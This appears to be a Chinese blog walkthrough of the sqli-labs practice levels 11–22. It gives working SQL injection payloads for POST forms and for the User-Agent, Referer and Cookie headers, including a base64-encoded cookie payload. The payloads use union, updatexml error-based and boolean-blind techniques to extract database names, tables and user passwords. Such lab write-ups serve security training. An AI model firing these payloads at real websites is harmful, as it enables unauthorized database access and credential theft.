sqli-labs攻关3(Less-11~Less-22)

前言

好久没打sqli-labs了,闲来无事继续打一下。

一、联合查询-POST型

Less-11 '

1.注入点判断

uname=admin\&passwd=&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第1张图片
通过添加反斜杠\,得知是'闭合
注入测试

uname=admin' or 'a'='a&passwd=1&submit=Submit

uname=admin' and 1=1#&passwd=&submit=Submit

在这里插入图片描述
2.显示位判断

uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第2张图片
显示位有1、2两处
3.获取所有数据库名

uname=1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#&passwd=&submit=Submit

在这里插入图片描述
获取当前数据库名

uname=1' union select database(),2 #&passwd=&submit=Submit

在这里插入图片描述
4.获取所有数据表名

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第3张图片
4.获取所有字段名

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#&passwd=&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第4张图片
5.获取所有数据

uname=1' union select 1,group_concat(password) from users#&passwd=&submit=Submit

在这里插入图片描述

Less-12 ")

注入点判断
通过添加反斜杠\,得知是")闭合
sqli-labs攻关3(Less-11~Less-22)_第5张图片
注入测试

uname=admin") or ("a"="a&passwd=1&submit=Submit

uname=admin") and 1=1#&passwd=1&submit=Submit

爆数据库、数据表、字段、记录和Less-11类似。

二、报错注入POST型

因为总结过,所以这里不再总结。
CSDN报错注入或个人博客报错注入

Less-13 ')

注入点判断
通过添加反斜杠\,得知是')闭合。
进行其它注入操作时,发现没有回显。而加反斜杠测试闭合方式却有回显,因为产生报错。于是想到进行其它注入操作时,应该可以使用报错注入(这里暂且使用Xpath注入,也可以使用其它报错注入方式)。
爆数据库

uname=1') and (updatexml(1,concat(0x7e,(select database()),0x7e),1))#&passwd=&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第6张图片
爆表

uname=1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#&passwd=&submit=Submit

爆字段

uname=1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1))#&passwd=&submit=Submit

爆数据

uname=1') and (updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1))#&passwd=&submit=Submit

Less-14 "

通过添加反斜杠\,得知是"闭合
其它注入操作,把Less-13的')改为"即可。

三、盲注POST型

Less-15

post传入

uname=admin\&passwd=&submit=Submit

通过添加反斜杠\,没有回显闭合方式,只回显了登录失败页面。
sqli-labs攻关3(Less-11~Less-22)_第7张图片
尝试万能语句

' or 1=1#

sqli-labs攻关3(Less-11~Less-22)_第8张图片
登录成功。发现登录成功和登录失败回显不同。于是想到了另一种思路来做,即SQL盲注,并且是POST型的布尔盲注,因为之前总结过GET型的SQL盲注,还做了几道POST盲注的题。所以这里不再详细总结。
CSDN:sqli-labs攻关2(布尔盲注、时间盲注)或个人博客sqli-labs攻关2(布尔盲注、时间盲注)
先知社区:SQL盲注的简单分析

测试
测闭合方式

uname=admin'#&passwd=&submit=Submit

单引号闭合

测长度

uname=admin' and (length(database())=8)#&passwd=&submit=Submit

数据库长度为8
测字符

uname=admin' and (ascii(substr(database(),1,1))>97)#&passwd=&submit=Submit

说明数据库第一个字符ASCII码大于97

具体注入步骤,参考SQL盲注的简单分析

Less-16

依旧是SQL盲注,与Less-15相比,闭合方式由'变成了")

当然,布尔盲注的题可以用时间盲注的方法来做,只不过时间盲注效率有点低。

四、POST注入

1、基于错误POST更新查询注入

过滤函数:check_input()
Less-17
查看源码发现,check_input()对传入的uname进行了限制 ,只能16个字符。
调用了get_magic_quotes_gpc()' " 空格 / 进行了转义。
却没有对passwd进行任何处理。

所以与Less-14相比,注入点不在uname,注入点在passwd。测试发现闭合方式为'
这里测试个爆数据库的。
爆库

uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit

sqli-labs攻关3(Less-11~Less-22)_第9张图片
但当我测试到爆数据时,却没爆出来,回显信息为:

You can't specify target table 'users' for update in FROM clause

查询百度和大师傅博客,发现解决方法:在外面加一层select即可解决。
payload

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from 
(select username from users)b limit 0,1),0x7e),1)#&submit=Submit
2、User-Agent注入

很多网站都会记录用户的User-Agent, 这为注入提供了条件。
注入原理
后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行。
Less-18
登录框输入admin 123,登录失败只有如下信息
在这里插入图片描述
输入admin admin,登录成功返回如下信息
在这里插入图片描述
猜测应该是在User-Agent进行注入。于是FireFox + BurpFirefox+hackbar插件
测注入点

User-Agent: 1'

报错回显
在这里插入图片描述
发现这里果然存在注入。
测闭合方式

User-Agent: 1' and '1'='1

回显
在这里插入图片描述
发现是'闭合方式。于是开始其它注入操作
爆库

User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
爆表、爆字段、爆数据,后面的和Less-13大致一样,不再测试。

3、Referer注入

Less-19
先登录,登录成功,得到回显:
在这里插入图片描述
猜测应该是在header里的Referer里进行注入
测注入点

Referer: 1'

在这里插入图片描述
测闭合方式

Referer: 1' and '1'='1

在这里插入图片描述
爆库

Referer: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
其它注入操作和Less-18类似。

4、Cookie注入

Less-20
和上两道题一个路数,先登录,得到回显
sqli-labs攻关3(Less-11~Less-22)_第10张图片
猜测应该是在header里的Cookie里进行注入
测注入点

Cookie: uname=admin'

sqli-labs攻关3(Less-11~Less-22)_第11张图片
测闭合方式

Cookie: uname=admin' and '1'='1

sqli-labs攻关3(Less-11~Less-22)_第12张图片
爆库

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

sqli-labs攻关3(Less-11~Less-22)_第13张图片
Less-21
登录,发现Cookie中为base64,解码得到admin
在这里插入图片描述
猜想只是比Less-20多了一个Base64
admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1进行base64编码。

Cookie:  uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

测试,得到数据库
sqli-labs攻关3(Less-11~Less-22)_第14张图片
Less-22
把Less-21单引号改为双引号。即对admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1进行base64编码。

后记

至此,总算把Page-1的SQL注入关卡打完了。总的来说,22个sqli-labs关卡主要涉及的SQL注入的姿势有:

  • GET型错误型注入、联合查询注入、报错注入、盲注、导出文件注入
  • POST型联合查询注入、报错注入、盲注
  • POST注入

你可能感兴趣的:(Web,SQL注入,Web常见漏洞)